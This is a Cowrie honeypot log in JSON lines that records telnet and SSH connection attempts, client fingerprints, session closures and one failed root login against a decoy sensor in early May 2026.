{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":33882,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcc377048289","protocol":"telnet","message":"New connection: 188.208.141.113:33882 (10.17.0.5:23) [session: fcc377048289]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:29.667697Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55290,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a9ad62fd602","protocol":"telnet","message":"New connection: 162.55.233.176:55290 (159.203.135.109:23) [session: 8a9ad62fd602]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:30.414551Z"}
{"eventid":"cowrie.session.closed","duration":46.2193546295166,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:30.918786Z","src_ip":"188.208.141.113","session":"732f1f368023","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"14.7","message":"Connection lost after 14.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:31.078336Z","src_ip":"213.209.159.158","session":"e1ac04187df4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":44662,"dst_ip":"10.17.0.5","dst_port":22,"session":"91bf78dfcc90","protocol":"ssh","message":"New connection: 213.209.159.158:44662 (10.17.0.5:22) [session: 91bf78dfcc90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:31.176711Z"}
{"eventid":"cowrie.session.closed","duration":37.92351412773132,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:31.718401Z","src_ip":"162.55.233.176","session":"edb99c41b612","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":39828,"dst_ip":"10.17.0.5","dst_port":23,"session":"41e0bd9dbbb9","protocol":"telnet","message":"New connection: 188.208.141.113:39828 (10.17.0.5:23) [session: 41e0bd9dbbb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:32.374872Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55292,"dst_ip":"159.203.135.109","dst_port":23,"session":"adcd5971e0e1","protocol":"telnet","message":"New connection: 162.55.233.176:55292 (159.203.135.109:23) [session: adcd5971e0e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:32.585162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:33.551976Z","src_ip":"213.209.159.158","session":"91bf78dfcc90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:33.555268Z","src_ip":"213.209.159.158","session":"91bf78dfcc90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.04536724090576,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:34.043921Z","src_ip":"162.55.233.176","session":"3d10b0bcf503","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":50680,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba47f0cfa60c","protocol":"telnet","message":"New connection: 162.55.233.176:50680 (159.203.135.109:23) [session: ba47f0cfa60c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:34.360514Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":39834,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2263d7a6ac8","protocol":"telnet","message":"New connection: 188.208.141.113:39834 (10.17.0.5:23) [session: b2263d7a6ac8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:34.732277Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":50690,"dst_ip":"159.203.135.109","dst_port":23,"session":"23e33679f7d9","protocol":"telnet","message":"New connection: 162.55.233.176:50690 (159.203.135.109:23) [session: 23e33679f7d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:35.305775Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":50696,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce74e2719935","protocol":"telnet","message":"New connection: 162.55.233.176:50696 (159.203.135.109:23) [session: ce74e2719935]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:35.367688Z"}
{"eventid":"cowrie.session.closed","duration":37.200429916381836,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:35.557282Z","src_ip":"162.55.233.176","session":"db13989a3bac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":50702,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7ce9f65d543","protocol":"telnet","message":"New connection: 162.55.233.176:50702 (159.203.135.109:23) [session: b7ce9f65d543]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:35.576810Z"}
{"eventid":"cowrie.session.closed","duration":40.03886270523071,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:35.601750Z","src_ip":"162.55.233.176","session":"83b1aef29d4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":50704,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb4130061d98","protocol":"telnet","message":"New connection: 162.55.233.176:50704 (159.203.135.109:23) [session: bb4130061d98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:35.779527Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":50708,"dst_ip":"159.203.135.109","dst_port":23,"session":"b378e162caf5","protocol":"telnet","message":"New connection: 162.55.233.176:50708 (159.203.135.109:23) [session: b378e162caf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:36.062439Z"}
{"eventid":"cowrie.session.closed","duration":36.38397836685181,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:36.439827Z","src_ip":"162.55.233.176","session":"1f45393103ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":50710,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4f6cb8fbd0a","protocol":"telnet","message":"New connection: 162.55.233.176:50710 (159.203.135.109:23) [session: a4f6cb8fbd0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:36.983360Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":50712,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1cb6639f0b8","protocol":"telnet","message":"New connection: 162.55.233.176:50712 (159.203.135.109:23) [session: b1cb6639f0b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:37.040786Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":50714,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d98da0ad5d1","protocol":"telnet","message":"New connection: 162.55.233.176:50714 (159.203.135.109:23) [session: 3d98da0ad5d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:38.108013Z"}
{"eventid":"cowrie.session.closed","duration":30.917189598083496,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:38.290848Z","src_ip":"162.55.233.176","session":"f49a9611802f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":50726,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3f5ebe1c852","protocol":"telnet","message":"New connection: 162.55.233.176:50726 (159.203.135.109:23) [session: b3f5ebe1c852]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:38.327600Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":50738,"dst_ip":"159.203.135.109","dst_port":23,"session":"01915836aa50","protocol":"telnet","message":"New connection: 162.55.233.176:50738 (159.203.135.109:23) [session: 01915836aa50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:38.957252Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":50740,"dst_ip":"159.203.135.109","dst_port":23,"session":"290bb2a1f680","protocol":"telnet","message":"New connection: 162.55.233.176:50740 (159.203.135.109:23) [session: 290bb2a1f680]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:39.721785Z"}
{"eventid":"cowrie.session.closed","duration":36.12097692489624,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:40.945367Z","src_ip":"162.55.233.176","session":"c524f4ed4a8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":50748,"dst_ip":"159.203.135.109","dst_port":23,"session":"8061660ab969","protocol":"telnet","message":"New connection: 162.55.233.176:50748 (159.203.135.109:23) [session: 8061660ab969]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:42.474367Z"}
{"eventid":"cowrie.session.closed","duration":30.878453493118286,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:42.665944Z","src_ip":"162.55.233.176","session":"84098a031411","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Vplt","message":"login attempt [root/Vplt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:42.722664Z","src_ip":"213.209.159.158","session":"91bf78dfcc90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.783148527145386,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:42.846235Z","src_ip":"162.55.233.176","session":"62ef2fe898fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.30511689186096,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:43.742152Z","src_ip":"188.208.141.113","session":"ba600f94884c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54550,"dst_ip":"159.203.135.109","dst_port":23,"session":"b565cc662b9f","protocol":"telnet","message":"New connection: 162.55.233.176:54550 (159.203.135.109:23) [session: b565cc662b9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:43.864518Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":48802,"dst_ip":"10.17.0.5","dst_port":23,"session":"19c83eb63a6e","protocol":"telnet","message":"New connection: 188.208.141.113:48802 (10.17.0.5:23) [session: 19c83eb63a6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:44.095239Z"}
{"eventid":"cowrie.session.closed","duration":31.207324266433716,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:44.706879Z","src_ip":"162.55.233.176","session":"54f145607b3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.255939483642578,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:44.736971Z","src_ip":"162.55.233.176","session":"c639b85f0d8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54552,"dst_ip":"159.203.135.109","dst_port":23,"session":"8480644df442","protocol":"telnet","message":"New connection: 162.55.233.176:54552 (159.203.135.109:23) [session: 8480644df442]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:44.777859Z"}
{"eventid":"cowrie.session.closed","duration":31.04718255996704,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:44.846404Z","src_ip":"162.55.233.176","session":"a371387ee92a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.94613432884216,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:44.950657Z","src_ip":"162.55.233.176","session":"77da9e035b3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54558,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2e5cbf2c144","protocol":"telnet","message":"New connection: 162.55.233.176:54558 (159.203.135.109:23) [session: b2e5cbf2c144]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:45.379702Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":48816,"dst_ip":"10.17.0.5","dst_port":23,"session":"57720428cfa3","protocol":"telnet","message":"New connection: 188.208.141.113:48816 (10.17.0.5:23) [session: 57720428cfa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:45.544015Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54574,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6dbd1bd4f1c","protocol":"telnet","message":"New connection: 162.55.233.176:54574 (159.203.135.109:23) [session: f6dbd1bd4f1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:45.764954Z"}
{"eventid":"cowrie.session.closed","duration":"15.1","message":"Connection lost after 15.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:46.239491Z","src_ip":"213.209.159.158","session":"91bf78dfcc90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":2054,"dst_ip":"10.17.0.5","dst_port":22,"session":"47c8de98e922","protocol":"ssh","message":"New connection: 213.209.159.158:2054 (10.17.0.5:22) [session: 47c8de98e922]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:46.357075Z"}
{"eventid":"cowrie.session.closed","duration":37.851813077926636,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:47.091320Z","src_ip":"188.208.141.113","session":"31521240d9d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":48826,"dst_ip":"10.17.0.5","dst_port":23,"session":"39683a08eb24","protocol":"telnet","message":"New connection: 188.208.141.113:48826 (10.17.0.5:23) [session: 39683a08eb24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:47.134551Z"}
{"eventid":"cowrie.session.closed","duration":31.5877525806427,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:47.880867Z","src_ip":"162.55.233.176","session":"fc3a6b56d93b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.42858266830444,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:47.897214Z","src_ip":"162.55.233.176","session":"0cabe4bb1f07","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:48.359949Z","src_ip":"213.209.159.158","session":"47c8de98e922","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:48.363683Z","src_ip":"213.209.159.158","session":"47c8de98e922","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.09993934631348,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:48.623098Z","src_ip":"162.55.233.176","session":"afab942ea68d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54590,"dst_ip":"159.203.135.109","dst_port":23,"session":"7079778a89e8","protocol":"telnet","message":"New connection: 162.55.233.176:54590 (159.203.135.109:23) [session: 7079778a89e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:48.847472Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54594,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b064f9e6e5a","protocol":"telnet","message":"New connection: 162.55.233.176:54594 (159.203.135.109:23) [session: 7b064f9e6e5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:49.335524Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54604,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b88fb756cf9","protocol":"telnet","message":"New connection: 162.55.233.176:54604 (159.203.135.109:23) [session: 1b88fb756cf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:49.589341Z"}
{"eventid":"cowrie.session.closed","duration":31.02835702896118,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:49.948405Z","src_ip":"162.55.233.176","session":"51a0b0a44e05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54620,"dst_ip":"159.203.135.109","dst_port":23,"session":"06e5d1539a1c","protocol":"telnet","message":"New connection: 162.55.233.176:54620 (159.203.135.109:23) [session: 06e5d1539a1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:50.037162Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54612,"dst_ip":"159.203.135.109","dst_port":23,"session":"deba8f51e713","protocol":"telnet","message":"New connection: 162.55.233.176:54612 (159.203.135.109:23) [session: deba8f51e713]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:50.647110Z"}
{"eventid":"cowrie.session.closed","duration":37.25758242607117,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:51.608108Z","src_ip":"162.55.233.176","session":"18b415cc990b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.29348087310791,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:51.675298Z","src_ip":"162.55.233.176","session":"c9039ab305bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.37657928466797,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:52.464776Z","src_ip":"162.55.233.176","session":"ecb998945a92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":47760,"dst_ip":"10.17.0.5","dst_port":23,"session":"5834acf8bca9","protocol":"telnet","message":"New connection: 188.208.141.113:47760 (10.17.0.5:23) [session: 5834acf8bca9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:53.669012Z"}
{"eventid":"cowrie.session.closed","duration":37.76153016090393,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:53.757519Z","src_ip":"162.55.233.176","session":"c8c4399731fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.41886854171753,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:54.169237Z","src_ip":"162.55.233.176","session":"fc8f6b3192e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0848388671875,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:54.800666Z","src_ip":"162.55.233.176","session":"4609f9a0fab0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58584,"dst_ip":"159.203.135.109","dst_port":23,"session":"141c6d8255ce","protocol":"telnet","message":"New connection: 162.55.233.176:58584 (159.203.135.109:23) [session: 141c6d8255ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:54.807109Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":47776,"dst_ip":"10.17.0.5","dst_port":23,"session":"3543de0f4435","protocol":"telnet","message":"New connection: 188.208.141.113:47776 (10.17.0.5:23) [session: 3543de0f4435]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:55.318696Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":47323,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8b6b688d422","protocol":"ssh","message":"New connection: 103.170.173.26:47323 (159.203.135.109:22) [session: f8b6b688d422]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:55.474908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:55.479655Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
